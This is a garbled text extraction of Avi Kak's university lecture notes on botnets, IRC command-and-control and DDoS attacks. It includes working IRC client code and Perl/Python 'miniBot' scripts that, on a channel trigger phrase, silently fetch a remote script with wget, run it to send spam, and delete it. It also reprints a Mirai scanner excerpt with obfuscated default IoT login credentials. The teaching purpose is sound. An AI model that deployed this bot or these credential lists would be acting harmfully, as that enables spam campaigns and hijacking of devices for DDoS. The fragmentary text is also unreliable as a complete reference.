0737 Bots Botnets and The Ddos Attacks
0737 Bots Botnets and The Ddos Attacks
c
2017 Avinash Kak, Purdue University
Goals:
• Bots and bot masters
• Command and communication needs of a botnet
• The IRC protocol and a command-line IRC client
• Freenode IRC network for open-source projects and the WeeChat IRC
client
• Python and Perl code for a command-line IRC client
• Python and Perl code for a mini-bot that spews out spam
• DDoS attacks and strategies for mitigating against them
• Using IoT devices to launch crippling DDoS attacks
1
CONTENTS
2
Computer and Network Security by Avi Kak Lecture 29
• A bot master can harness the power of several bots working to-
gether to bring about a result that could be more damaging than
3
Computer and Network Security by Avi Kak Lecture 29
infected close to a million computers. This botnet as a whole was sending several billion mostly fake-
prescription-drugs related spam messages every day. Rustock was dismantled by Microsoft through a
court-ordered action that shut down the botnet’s command and control servers that Microsoft was able
to locate in several cities in the United States. While the dismantling of Rustock is indeed a major
triumph, its human handles have not yet been identified (to the best of what I know). ]
4
Computer and Network Security by Avi Kak Lecture 29
5
Computer and Network Security by Avi Kak Lecture 29
ABSTRACT
6
Computer and Network Security by Avi Kak Lecture 29
• In the push mode, the C&C Server in Figure 1 acts like a broad-
cast server, in the sense that the server can broadcast the same
message to all the bots. It is a push mode because the C&C
server sends or “pushes” the command and control messages into
the bots. The IRC Servers have emerged as the servers
of choice for this role. Section 29.3 briefly reviews IRC.
7
Computer and Network Security by Avi Kak Lecture 29
Spam & Scan Spam & Scan Spam & Scan Spam & Scan Spam & Scan Spam & Scan
A Botnet
8
Computer and Network Security by Avi Kak Lecture 29
• In the pull mode, the bots send a request to the C&C server ev-
ery once in a while for the latest commands, very much like the
request your browser sends to a web server. If new commands are
available, the C&C server responds back with the same. For ob-
vious reasons, HTTPD servers are popular for such C&C servers.
• Also note that each bot registers itself with the C&C server.
Subsequently, the bot master only has to communicate his/her
intentions to the C&C server in order for those intentions to be
sent to all the bots. This layer of indirection allows the communi-
cations between the human and the C&C server to be infrequent,
making it that much harder to discover the human handler.
9
Computer and Network Security by Avi Kak Lecture 29
10
Computer and Network Security by Avi Kak Lecture 29
• You have all heard about chat servers and chat clients. Basically,
a chat server is a server socket that listens for incoming requests
from new clients wanting to join in a chat. When a new request is
received, the server socket spits out a client socket for maintaining
a direct link with the new client and forks that client socket to
a new child process. [It is relatively easy to write programs for chat servers and chat
clients. See Chapter 19 of my book “Programming with Objects” for how to write such programs in
C++ and Java, and Chapter 15 of my book “Scripting with Objects” for how to do the same with Perl
and Python. ]
11
Computer and Network Security by Avi Kak Lecture 29
can send TCP/IP packets to all other servers. The connectivity that is shown in Figure 2 is only for
the exchange of IRC traffic. We can therefore think of the network shown in Figure 2 as an overlay
Basically, it is the responsibility of each server to forward all the received state information to the
servers it is connected to (except the server from which the information was received) in the overlay
network. If the overlay were to contain loops, such a simple algorithm would not suffice for keeping
• The fact that the entire network must look like a single logical
chat server to all the clients means that all of the individual
servers must stay synchronized in real time with regard to the
state of all the servers and of all the users in the network. It
12
Computer and Network Security by Avi Kak Lecture 29
An IRC Network
Server C
Client Server A
NICK: zeeee
Client
Client Client
13
Computer and Network Security by Avi Kak Lecture 29
the individual clients on the different servers, and the individual channels means that the IRC protocol
cannot easily be scaled up to an arbitrarily large number of servers. This issue is broached in RFC
14
Computer and Network Security by Avi Kak Lecture 29
the chat. ]
• The IRC protocol considers the first person to start a new channel
as the operator of that channel. An operator has certain priv-
ileges, such as the privilege to “kick” a troublesome user off a
channel. [If you are going to be playing with the IRC protocol by actually connecting with a
public IRC network, it is good to keep in mind that it is not that difficult to lose operator privileges.
Let’s say you start a new channel and become its operator and then suddenly because of some network
hiccup your machine becomes temporarily disconnected from the network. During the time you are
disconnected, you could get dropped from the channel and someone else finding the channel without
an operator could take over your operator privileges. To guard against such unpleasant situations,
IRC networks allow you to register your nick and your channel. The command for registering a nick
may look like NickServ or NS and the command for registering a channel may look like ChanServ or
CS. That way, after you have identified yourself with the IDENTIFY command to ChanServ, you will
always have your operator privileges restored for your registered channel should you get accidentally
disconnected. ]
yourself may not see this syntax if you are using a GUI-based IRC client. The GUI will
take care of whatever you enter in the chat window into a form that conforms to the
syntax shown below.]:
16
Computer and Network Security by Avi Kak Lecture 29
17
Computer and Network Security by Avi Kak Lecture 29
18
Computer and Network Security by Avi Kak Lecture 29
MODE #botnetUnderground +s
the topic for the channel #myChannel would be set to “dance lessons”. The NAMES command
returns the nicks for the all the visible users in a visible channel. So if you send the message
NAMES #myChannel will return the nicks of all the visible users in the channel myChannel. The
LIST command returns the topics for the channels. So if you send the following message to the
server: LIST #myChannel,#my2Channel you will get back the topics for the channels #myChannel
and #my2Channel. ]
19
Computer and Network Security by Avi Kak Lecture 29
Note the ‘i’ option that marks a user as invisible. Let’s say my
nick is botBoss and I want to make myself invisible. [But don’t get
too swayed by what you can accomplish by making yourself invisible in this manner. You will still be
fully visible in your own channel. All that being invisible gets you is that people in other channels will
not be able to find out about you through the WHO and WHOIS searches. ] I can do so by
sending the following message to the server:
MODE botBoss +i
20
Computer and Network Security by Avi Kak Lecture 29
optional string that if present must have the prefix ‘:’; (2) a com-
mand string (or the corresponding integer); and (3) the rest which
stands for the parameters to the command. But all the ex-
amples I have shown so far are for messages that
started with a command, as opposed to with ‘:’. For
example, look at the MODE message shown above — it
does not start with a colon. So when do we have messages
that include the optional first colon-prefixed string?
• Regarding the role played by the colon for starting an IRC mes-
sage, note that when you as a client send a message to the server
you are connected to, it will look like
But when the same message is forwarded by the server that re-
ceived your message to other servers in the IRC network, its
syntax becomes
assuming that your nick is botBoss. Now the message has all
the three components.
The message “Hello Bots! Are you ready to wage war?” will
be sent to all the users who are members of the #botnetUnderground
channel.
22
Computer and Network Security by Avi Kak Lecture 29
• I’d highly recommended that you read at least the first half of
this section with care before connecting with an IRC server. If
you don’t, you might inadvertently end up using your login name
on your own computer as a nick on the server.
• Next, you would want to either register the nick (which in the
example shown here is “zeldar”) or authenticate the nick, the
former if this is your first visit to Freenode and the latter if this
is a repeat visit. [If this is your first visit to the Freenode network, you may wish to register your
nick with the nick server known as NickServ. Although many channels will allow users with non-registered
nicks to participate, some important channels do not. If the channel mode is set to ‘+r’, you won’t be able to
join unless you are registered. To see the mode flags associated with a channel that you are interested in, run
the command ‘/msg ChanServ INFO some channel’ in the server buffer. ]
• You register your nick by entering the following in the Input Bar:
/msg NickServ REGISTER your_password your_email_address
Keep in mind the fact that everything in this line after “REG-
ISTER” — including the email address — will be masked
with asterisks. [Since a majority of us are not used to seeing our email ad-
dresses masked when creating or using our login credentials, this can be highly dis-
concerting at first because you get the sense that you are never done entering the
password. The first time I used the command shown above, I remember wasting a
couple of hours of my life trying to figure out why the system was not accepting my
password.] For completing the registration process, you will be
sent an email message by Freenode folks asking you to verify
the registration of your nick. This email comes from the address
“[email protected]”. So, if you have a spam filter,
you may wish to allow for this incoming email before registering
your nick.
• On the other hand, if this was your repeat your visit to Freenode
25
Computer and Network Security by Avi Kak Lecture 29
and you registered your nick during one of your previous visits,
you’d need to authenticate your nick with the command:
/msg NickServ IDENTIFY your_password
And, should you need to reset your password, you would need to
execute:
/msg NickServ SET PASSWORD new_password
chat — if you are in a channel buffer. As to what is meant by a “buffer”, more on that shortly. ] When
you first bring up the IRC client, the commands you enter will be
on the client itself. However, after you are connected to an IRC
server, these commands may be interpreted by your IRC client
or by the IRC server, depending on what the commands are.
[For example, all commands for help will be interpreted directly by the client. In general, you can tell who is
responding to your command by seeing the entries in the running log at the left in your client window.] [You
have to be rather careful when issuing commands to the server after you have joined a channel. Let’s say you
want to authenticate yourself to the server to indicate that your nick is registered. You are expected to execute
such a command in the server buffer. But you could also enter the command in the channel buffer — although
it would still be executed in the server buffer. Let’s say you run the authentication command in a channel
buffer and you forget to prefix the command with the customary ‘/’. In general, authentication requires that
you enter your password in the Input Bar. So with the inadvertent error of forgetting the prefix ‘/’ while you
are in the channel buffer, anything you enter in the text entry window — including your password — will
26
Computer and Network Security by Avi Kak Lecture 29
become a part of the ongoing chat and will be seen by all the users participating in the chat. As to what I
mean by the “server buffer” and the “channel buffer”, you’ll soon see in this section. ]
• Now you are ready to create alternative nicks for yourself that
would be registered against the same security credentials you pro-
vided above. This you can do by:
/nick newNick1
/msg NickServ GROUP
/nick newNick2
/msg NickServ GROUP
where the keyword GROUP means that you want the new nick to be
grouped with the previously supplied nicks for the same security
credentials.
27
Computer and Network Security by Avi Kak Lecture 29
• You an scroll in the main middle division and the rightmost di-
vision independently through a combination of function, control,
alt, page-up, page-down, etc., keys in your keyboard. Page-up
and page-dn keys can be used for scrolling in the main chat win-
dow. The key F12 scrolls down the rightmost vertical portion of
the display where the nicks are shown. The function key F11 tog-
gles between expanding the client window to cover the full screen
28
Computer and Network Security by Avi Kak Lecture 29
and shrinking it back to the original size, etc. When using the
function keys, do NOT also press the ‘Fn’ key at the
bottom of your keyboard. Just hit the function key itself
at the top of the keyboard. The WeeChat Users’ Guide shows
you the different key combinations that can be used to interact
with the window.
• As you can tell from the previous bullet, ChanServ is your impor-
29
Computer and Network Security by Avi Kak Lecture 29
tant ally in making sure that you retain control over your chan-
nel. Therefore, the more familiar you become with ChanServ, the
better. The following help commands are very useful in order to
figure out what syntax to use to set different properties of a new
channel: [These commands are also meant to be executed in the server buffer.]
• First note that your interaction with an IRC client like WeeChat
will involve three different modes: (1) the interaction with the
chat client itself: (2) After you have connected with an IRC
server, the interaction with the server; and, finally, (3) After you
have joined a channel, your interaction with the channel. As to
whom you are interacting with is shown in the blue Status Bar
just above the Input Bar in which you have been entering your
commands. The first two modes of interaction consist of issuing
commands (which are always prefixed with ‘/’) and the last mode
primarily of participating in a chat. That brings us to the notion
of a buffer in chat clients, in general, and in the WeeChat IRC
30
Computer and Network Security by Avi Kak Lecture 29
client in particular.
• Let’s say you fired up your WeeChat client and you have just
established a connection with an IRC server. You are now in the
server buffer in your WeeChat IRC client. Subsequently, when
you join a channel, the look of your window will change and the
client window will now be in the channel buffer. The fact that you
are in the channel buffer does NOT mean that you have exited
the server buffer. You can go back and forth between the two
buffers by issuing the command
/buffer i
in the text entry line at the bottom of the window, where ‘i’
equals 1 for the server buffer, 2 for the channel buffer, 3 for
the buffer for the next channel you join, and so on. Note that
if you should invoke most commands in the Input Bar while you
are in the channel buffer, they are likely to be executed in the
server buffer. To see the result of the command, you’ll have to
switch to the server buffer by invoking the command ‘/buffer
1’. [You can now see the need for different buffers in a chat client. You would not want the flow of
conversation in the chat window to be broken by the sudden appearance of the output of running, say, a help
command in the text entry line at the bottom of the screen. Additionally, the buffers help you keep each chat
31
Computer and Network Security by Avi Kak Lecture 29
/buffer -1
The blue Status Bar at the bottom should show the names of
all the buffers that are currently active. It also shows the total
number of buffers after the time display at its left. The integer
associated with a buffer is displayed just to the left of what the
buffer is associated with.
• Now about interacting with the Freenode IRC, try entering the
following command in the Input Bar in the server buffer:
/list
This will place in your chat buffer a very, very, very long list of
all the channels supported by the IRC server.
• Although you can see the nicks in the rightmost vertical division
of your client window, if you run the following command in a
32
Computer and Network Security by Avi Kak Lecture 29
channel buffer you’ll see the nicks in the main chat window.
/names
If you are in the server buffer, you can also use the following
command to see who is participating in any channel [As to what is
meant by ‘server buffer’, you will soon find out.]
/names #python
If you enter the same command while you are in the server buffer,
you will break your connection with the server and you’ll
be back in the original WeeChat client screen. If you wish to quit
WeeChat altogether, you use the command
/quit
you have an established connection with an IRC server. If you try to execute them prior to that, you’ll get the
error message. ]
34
Computer and Network Security by Avi Kak Lecture 29
• The main reason for showing you the rather elementary command-
line IRC client in this section is that I’ll use this code in the next
section for creating a spam-spewing mini bot.
#!/usr/bin/perl -w
## ircClient.pl
## Avi Kak ([email protected])
## April 22, 2015
## This is a command-line IRC client. I created this script by combining: (1) the
## script ClientSocketInteractive.pl in Chapter 15 of my book "Scripting With
## Objects"; (2) some portions from Paul Mutton’s script "A Simple Perl IRC Client"
## and user feedback scriplets that can be downloaded from
## http://oreilly.com/pub/h/1964; and (3) some additional checks of my own for the
## messages going from the client to the server.
##
## To make a connection, your command line should look like
##
## ircClient.pl irc.freenode.net 6667 botrow ##PurdueCompsec
##
## where ’botrow’ is your nick and ’##PurdueCompsec’ the name of the channel.
35
Computer and Network Security by Avi Kak Lecture 29
## Obviously, ’irc.freenode.net’ is the hostname of the server and 6667 the port
## number.
##
## After you are connected, to send a text string to the server, enter
##
## PRIVMSG ##PurdueCompsec :your actual text message goes here
##
## where ’PRIVMSG’ is the command name for sending a text message and
## ’##PurdueCompsec’ the name of the channel. What comes after the colon is the
## text you want to send to to the channel. Similarly, if you want to announce to
## to the ##PurdueCompsec channel that you will be away for 10 minutes, you can
## enter
##
## AWAY ##PurdueCompsec :Back in 10 mins
##
## If you want yourself to be unmarked as being away, all you need to enter is
##
## AWAY
##
## without any arguments to the command. To quit a chat session, all you have to
## say is
##
## QUIT
##
## It is normal for the server to return an ERROR message when you quit.
##
## If you don’t know where the command names PRIVMSG, AWAY, QUIT, etc., come from,
## read the RFC1459 IRC standard. That standard defines a total of 40 such
## commands.
##
## Also try PING, WHO, WHOIS, USERS, PART, QUIT, NAMES, LIST, VERSION,
## STATS c, STATS l, STATS k, ADMIN, etc., with this command-line client.
use strict;
36
Computer and Network Security by Avi Kak Lecture 29
# spawn a child process. The variable $pid is set to the PID of the child process in
# the main process. However, in the child process, its value is set to 0.
my $pid = fork(); #(O)
die "can’t fork: $!" unless defined $pid; #(P)
# Parent process: Use blocking read to receive messages incoming from the server and
# respond to those messages appropriately. If there a need to send a message to the
# server, a message that is not a reply to something received from the server, the
# child process will take care of that.
if ($pid) { #(Q)
STDOUT->autoflush(1); #(R)
# Log on to the server. To log into a server that does not need a password, you
# need to send the NICK and USER messages to the server as shown below. See
# Section 3.1.3 of RFC 2812 for the syntax used for the USER message.
print $sock "NICK $nick\r\n"; #(S)
print $sock "USER $login 0 * :A Handcrafted IRC Client\r\n"; #(T)
37
Computer and Network Security by Avi Kak Lecture 29
– If the client receives the status code 004, then the connection with
the server is established.
38
Computer and Network Security by Avi Kak Lecture 29
– If the client receives the status code 433, that means the NICK used
by the client is not acceptable to the server.
where the first argument is the name of the server, the second
argument the port number, the third the nick you wish to use,
and the last the channel you wish to join. Note that many IRC
servers use the port 6667, but that is not always the case. So
before you can use the client shown above, you must find out the
hostname of a server in an IRC network and what port it uses
for incoming connection requests from clients.
• After the command shown above connects you with the chat
server, try the following commands for fun:
INFO (info about the server, developers, etc.)
39
Computer and Network Security by Avi Kak Lecture 29
#!/usr/bin/env python
## ircClient.py
## Avi Kak ([email protected])
## April 9, 2017
40
Computer and Network Security by Avi Kak Lecture 29
## Obviously, ’irc.freenode.net’ is the hostname of the server and 6667 the port
## number.
##
## After you are connected, to send a text string to the server, enter
##
## PRIVMSG ##PurdueCompsec :your actual text message goes here
##
## where ’PRIVMSG’ is the command name for sending a text message and
## ’##PurdueCompsec’ the name of the channel. What comes after the colon is the
## text you want to send to to the channel. Similarly, if you want to announce to
## to the ##PurdueCompsec channel that you will be away for 10 minutes, you can
## enter
##
## AWAY ##PurdueCompsec :Back in 10 mins
##
## If you want yourself to be unmarked as being away, all you need to enter is
##
## AWAY
##
## without any arguments to the command. To quit a chat session, all you have to
## say is
##
## QUIT
##
## It is normal for the server to return an ERROR message when you quit.
##
## If you don’t know where the command names PRIVMSG, AWAY, QUIT, etc., come from,
## read the RFC1459 IRC standard. That standard defines a total of 40 such
## commands.
##
## Also try PING, WHO, WHOIS, USERS, PART, QUIT, NAMES, LIST, VERSION,
## STATS c, STATS l, STATS k, ADMIN, etc., with this command-line client.
if len(sys.argv) != 5: #(2)
sys.exit(’’’ Usage: Requires 4 arguments as in\n\n\n’’’
’’’ ircClient.py host port nick channel \n\n’’’
’’’ Example: ircClient.py irc.freenode.net 6667 botrow \##PurdueCompsec\n\n’’’)
try: #(10)
sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) #(11)
41
Computer and Network Security by Avi Kak Lecture 29
# Spawn a child process. The variable pid is set to the PID of the child process in
# the main parent process. However, in the child process, the value of PID is set to 0.
pid = os.fork() #(22)
if pid == 0: #(23)
# WE ARE IN THE CHILD PROCESS HERE:
# The job of the child process is to upload the locally generate messages to the
# Freenode server --- from where they get broadcast to all other channel members.
while True: #(24)
msg = sys.stdin.readline() #(25)
if msg is not None: #(26)
split_msg = filter(None, msg.split()) #(27)
if split_msg[0] in IRC_cmds: #(28)
sock.send(msg) #(29)
if split_msg[0] == ’QUIT’: break #(30)
else: #(31)
sys.stderr("Syntax error. Try again\n") #(31)
else:
# WE ARE IN THE PARENT PROCESS HERE.
# Use blocking read to receive messages incoming from the server and to respond to
# those messages appropriately. If there is a need to send a message to the server,
# a message that is not a reply to something received from the server, the child
# process will take care of that.
# But first you must log into the server. To log into a server that does not need
# a password, you need to send the NICK and USER messages to the server as shown
# below. See Section 3.1.3 of RFC 2812 for the syntax used for the USER message.
sock.send("NICK " + nick + "\r\n") #(32)
sock.send("USER " + login + " 0 * :A Handcrafted IRC Client\r\n") #(33)
while True: #(34)
input = ’’ #(35)
while True: #(36)
byte = sock.recv(1) #(37)
if byte == "\n": break #(38)
input += byte #(39)
# Check the numerical responses from the server.
if ’004’ in input: # connection established #(40)
# If connection established successfully, we terminate this ‘while’ loop
42
Computer and Network Security by Avi Kak Lecture 29
# and switch to the ‘while’ loop in line (i) for downloading chat from
# the server on a continuous basis:
break #(41)
elif ’PING’ in input:
# Some servers require sending back PONG with the same characters as
# received from the server:
print( "Found ping: " + input) #(42)
if ’:’ in input: #(43)
digits = input[input.find(’:’) + 1 : ] #(44)
sock.send( ’PONG ’ + digits + "\r\n") #(45)
elif ’433’ in input: #(46)
sys.exit("Nickname is already in use.") #(47)
print("Joining the channel\n") #(48)
sock.send(’JOIN ’ + channel + "\r\n") #(49)
print("Waiting for a reply\n") #(50)
while True: #(51)
input = ’’ #(52)
while True: #(53)
byte = sock.recv(1) #(54)
if byte == "\n": break #(55)
input += byte #(56)
regex = re.compile( r’^PING(.*)$’, re.IGNORECASE ) #(57)
m = re.search( regex, input ) #(58)
if m is not None: #(59)
sock.send("PONG " + m.group(1) + "\r\n") #(60)
else: #(61)
# It is this part of the parent process that displays the incoming chat:
# In the incoming chat, a remote user is identified with a string like
# "nick!login_name@host". We want to abbreviate that to just the nick:
regex = r’(^[^!]*)![^ ]*’ #(62)
m = re.search( regex, input ) #(63)
if m is not None: #(64)
input = re.sub(regex, m.group(1), input) #(65)
print(input) #(66)
43
Computer and Network Security by Avi Kak Lecture 29
• The goal of this section is to “extract” from the IRC client scripts
presented in the previous section minimal possible code needed to
create a bot that would do the bidding of a bot-master in spewing
out spam.
• The bots presented in this section have the following specific mis-
sion: When a bot receives the following incantation
abracadabra magic mailer
44
Computer and Network Security by Avi Kak Lecture 29
• In the rest of the section, I’ll first present the Perl version of the
mini bot and then the Python version. The order of presentation
merely reflects the order in which I wrote code for them. The
Perl version came into existence in 2015 and the Python version
in 2017.
• We will assume that the spam provider has made available the
following sort of a file, named emailer, at his/her location:
open SENDMAIL, "|/usr/sbin/sendmail -t -oi ";
print SENDMAIL "From: cutiepie\@yourfriend.com \n";
print SENDMAIL "To: avi_kak\@yahoo.com \n";
print SENDMAIL "Subject: I am so lonely, please call \n\n";
print SENDMAIL "\n\nYou may not believe this, but I know you already.";
print SENDMAIL "I promise you will not regret it if you call me at 123-456-789.\n";
print SENDMAIL "\n\nIf you call, I will send you my photo that you will drool over. Call soon.\n";
print SENDMAIL "\n\n";
close SENDMAIL;
45
Computer and Network Security by Avi Kak Lecture 29
#!/usr/bin/perl -w
## miniBot.pl
## For this bot to make a connection with an IRC server, someone has to
## execute, knowingly or unknowingly, the following command line:
##
## miniBot.pl server_address port nick channel
##
## This is a mini bot because it has only one exploit programmed into it:
## the bot sends out spam to a third-party mailing list. However, for
## that work, the host "infected" by this bot must have the sendmail MTA
## running.
##
46
Computer and Network Security by Avi Kak Lecture 29
use strict;
use IO::Socket; #(A)
use Cwd;
47
Computer and Network Security by Avi Kak Lecture 29
}
}
print $sock "JOIN $channel\r\n"; #(Z)
while (my $input = <$sock>) { #(a)
chomp $input; #(b)
if ($input =~ /^PING(.*)$/i) { #(c)
print $sock "PONG $1\r\n"; #(d)
} else { #(e)
$input =~ s/(^[^!]*)![^ ]*/$1/; #(f)
# print "$input\n"; #(g)
if ($input =~ "abracadabra magic mailer") { #(h)
my $dir = cwd; #(i)
chdir "/tmp"; #(j)
system("wget https://engineering.purdue.edu/kak/emailer");
#(k)
system("perl emailer"); #(l)
unlink glob "emailer*"; #(m)
chdir $dir; #(n)
}
}
}
where, obviously, you’d have specified an IRC server for the first
argument, the port number relevant to that server, the nick that
you want your bot to use (it will be some innocuous name, for
obvious reasons), and, finally, the name of the channel. Presum-
ably, you as a bot master would have started up a new channel
at some publicly available IRC server and you’d therefore have
the operator privileges on the channel — although your having
operator privileges is not necessary for the miniBot’s exploit to
succeed.
48
Computer and Network Security by Avi Kak Lecture 29
• You can play with the miniBot.pl script in the following man-
ner:
Note that the nick ‘gilda’ here is different from the nick ‘zilda’ shown
in the second step. [You can also use the mIRC client on the same laptop or
on another machine for this step.]
4. In the same third window as used in the previous step, now execute:
PRIVMSG ##PurdueCompsec :abracadabra magic mailer
If you chose to execute Step 3 through the mIRC client, you would
need to enter the message “abracadabra magic mailer” in the mIRC
client itself.
49
Computer and Network Security by Avi Kak Lecture 29
• Shown below are the relevant entries from the mail log file from
one of my runs with the miniBot exploit. This establishes the
fact that miniBot succeeded in spewing out “spam”:
• When you are playing with the miniBot.pl script in the man-
ner indicated above, do realize that the bot will appear
to hang. Note that the bot does not print out any
messages received from server. Neither does the bot
have any facilities to upload your messages to the
server. But that is intentional — since after all it is
a bot that must do its work silently. So the only way
to know that the bot is doing its assigned deed is to look at the
mail.log file on the machine on which the bot is running. [As
a funny aside, when I was debugging the miniBot.pl script, I ended up with self-inflicted spam
consisting of hundreds of messages. Here is what happened: As you might have noticed, all three
email addresses in the Perl executable emailer file are mine, implying that all of those messages will
be sent to me. I had an error in the ‘if’ block that begins in line (h) of the miniBot.pl script. This
50
Computer and Network Security by Avi Kak Lecture 29
error prevented the condition line in the ‘if’ block from being executed. As a consequence, the spam
generator code in lines (i) through (n) of the script was getting invoked on every single line that was
being read from the server when the bot first registered itself with the server. This server happened
to have an MOTD that was several hundred lines long. Each line in the MOTD was causing all the
• For the Python case, we will assume that the spam provider has
made available the following sort of a file that is named emailer py
at his/her website:
## This is an emailer file for demonstrating a Python based spam-spewing bot in Lecture 29
## of the Lecture Notes on Computer and Network Security by Avi Kak
import subprocess
SENDMAIL.communicate("From: [email protected]\n" +
"To: [email protected] \n" +
"Subject: I am so lonely, please call \n\n" +
"\n\nYou may not believe this, but I know you already." +
"I promise you will not regret it if you call me at 123-456-789.\n" +
"\n\nIf you call, I will send you my photo that you will drool over. Call soon.\n" + "\n\n
SENDMAIL.communicate("From: [email protected]\n" +
"To: [email protected] \n" +
"Subject: you just won a lottery \n\n" +
"\n\nYes, you have won loads of money.\n\n"+
"\n\nYou can now have fun the rest of your life.\n\n" +
"\n\n Call immediately at 123-456-789 to claim your prize.\n\n" + "\n\n")
SENDMAIL.communicate("From: [email protected]\n" +
51
Computer and Network Security by Avi Kak Lecture 29
#!/usr/bin/env python
## miniBot.py
## April 9, 2017
if len(sys.argv) != 5: #(2)
52
Computer and Network Security by Avi Kak Lecture 29
try: #(13)
sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) #(14)
sock.connect((server, port)) #(15)
except socket.error, (value, message): #(16)
if sock: #(17)
sock.close() #(18)
else: #(19)
print("Could not establish a client socket: " + message) #(20)
sys.exit(1) #(21)
53
Computer and Network Security by Avi Kak Lecture 29
• You’d use the same steps for demonstrating the spam spewing
capabilities of this Python version of the mini bot that you saw
earlier for the Perl version. Here are those steps again (using
names specific to the Python case):
Note that the nick ‘gilda’ here is different from the nick ‘zilda’ shown
in the second step.
4. In the same third window as used in the previous step, now execute:
PRIVMSG ##PurdueCompsec :abracadabra magic mailer
54
Computer and Network Security by Avi Kak Lecture 29
If you now examine the new entries in the first terminal window in you
are running “tail -f /var/log/mail.log, you’ll see that all of the
spam in the folder emailer py has been put on the wire. Shown below
are the relevant entries from the mail log file from one of my runs
with the miniBot exploit. This establishes the fact that miniBot.py
succeeded in spewing out “spam”:
55
Computer and Network Security by Avi Kak Lecture 29
56
Computer and Network Security by Avi Kak Lecture 29
do so incessantly, so as to bog down the targeted server. HTTP GET and POST floods
are examples of such attacks. Since such attacks can be mounted with a small number
(even just one) of attacking hosts and since the traffic generated by such attacks looks
like normal traffic, this type of a DDoS attack can be difficult to detect. Application
Layer attacks are also known as Layer 7 DDoS Attacks.]
• The DDoS attacks of the sort mentioned above have been around
for quite some time. You hear about them being used by the so-
called “hacktivist” groups, often anonymous, when they want to
seek revenge against organizations they are upset with.
57
Computer and Network Security by Avi Kak Lecture 29
the size of the response from S is k times the size of the request
received by S. The attacker A can take advantage of this fact to
create a large bandwidth burden for T without having to bear
the same bandwidth cost himself.
per second emanating from each bot, the target T would have
to cope with around 40 gigabytes per second of traffic (that is,
traffic at a level of around 320 Gbps) — that would be sufficient
to consume the bandwidth at even the largest of enterprise hosts.
One can construct similar examples of amplification through NTP
58
Computer and Network Security by Avi Kak Lecture 29
and SMTP servers. [I am not talking about hypothetical attack scenarios here.
During the last couple of years, some of the well publicized actual attacks have used
traffic amplification to create attacks in the range of 300 to 400 Gbps at the targeted
hosts.]
• At the other end of the DDoS attack spectrum, we have the low-
level difficult-to-detect shrew attack that, as previously explained
in Section 16.11 of Lecture 16, can seriously disrupt TCP flows
in the internet. As described in Lecture 16, these attacks exploit
a vulnerability associated with retransmission timeout (RTO) in
the TCP protocol — RTO kicks in when TCP does not receive
an acknowledgment (ACK) within RTT (Round Trip Time). So
all that an attacker has to do is to hit the TCP with a pulsating
flood of DDoS packets every RTO seconds so that the sender
TCP will never receive an ACK within RTT. In this manner,
the attacker can throttle the legitimate traffic flows emanating
from the sending TCP. Being pulsating (with the DDoS packet
flood lasting only RTT seconds every RTO seconds), the average
packet count for the DDoS attack packets is likely to be below the
threshold set in the IDS at the sender TCP for DDoS detection.
Thus such attacks can easily go unnoticed even as the users of
the internet are seeing a significant performance degradation in
data download speeds from the internet.
59
Computer and Network Security by Avi Kak Lecture 29
• A multi-layer switch acts like a router, except for two very im-
portant differences: (1) Whereas a router carries out its func-
tions through software running in an embedded microprocessor,
a multi-layer switch uses dedicated hardware to do the same; and
(2) Whereas a router works only at Layer 3 of the OSI TCP/IP
protocol stack, a multi-layer switch can route a packet on the ba-
sis of information corresponding to any of the layers 3 and above
in the protocol stack. [Yes, in Layer 3 of the TCP/IP protocol stack, you can either have
a router or a switch. They will both do the same thing: send an incoming packet to the appropriate
IP address “south” of the router and send an outgoing packet to its destination (in some cases after
network address translation). The only difference between a Layer 3 switch and a regular router is
speed. Whereas a Layer 3 switch uses dedicated hardware for switching, a run of the mill router uses
60
Computer and Network Security by Avi Kak Lecture 29
• Content switches are used for load balancing when enterprise level
services are provided through a CDN — a subject we will take
up next. With a content switch, a client (an example would be
someone requesting a web page) can be connected to the least
loaded node of of a CDN at network speed.
61
Computer and Network Security by Avi Kak Lecture 29
how many actual server machines are pressed into service and the
bandwidth capacity of the local network.
62
Computer and Network Security by Avi Kak Lecture 29
End Users
End Users
End Users
Edge Router
Edge Router
Edge Router
GRE Tunnel
Edge Router
End Users
End Users
63
Computer and Network Security by Avi Kak Lecture 29
to balance out the load between the CDN host nodes that could
be situated in any part of the world.
64
Computer and Network Security by Avi Kak Lecture 29
computer security. The Wikipedia page also tells you why any one would want to shut down his website with
ing service in France with the largest DDoS attack they had ever
experienced — at over 1 Tbps (one terabit per second). Another
DDoS attack by the Mirai botnet that also received considerable
media attention was on Dyn’s “Managed DNS Infrastructure” in
October 2016.
• The Mirai based DDoS attacks that have received the most pub-
licity seemed to have worked mostly off webcams and DVRs (digi-
tal video recorders) that are frequently used in video surveillance
systems. More generally, though, such bots are meant for in-
fecting “Internet of Things” (IoT) devices. Therefore, in order
to understand the Mirai type of botnets, you need to know a
65
Computer and Network Security by Avi Kak Lecture 29
vices that tend to be mostly sensors. Here is a list (created by Eric Brown in his series of IoT articles at
Linux.com) of nine Linux-based open-source distributions meant specifically for IoT devices: Brillo, Huawei
LiteOS, OpenWrt/LEDE/Linino/DD-Wrt, Ostro Linux, Raspbian, Snappy Ubuntu Core, Tizen, uClinux, and
Yocto Project. ]
smartphone and can notify you about incoming email and other events; fitness sensors that are usually worn
around the wrist, but can also be clipped to the outer garments or worn around the neck; etc.); smart sensors
used by farmers to monitor their crops; network-enabled sensors used in factories to monitor processes; etc. ]
• While you are thinking about this huge and ever increasing num-
ber of IoT devices in the internet, also consider the fact that most
66
Computer and Network Security by Avi Kak Lecture 29
• Shown below is a segment of the scanner.c file from the Mirai code
repository that shows username/password combos programmed
into the malware.
// Set up passwords
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511
add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin
add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5); // root xmhdipc
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5); // root default
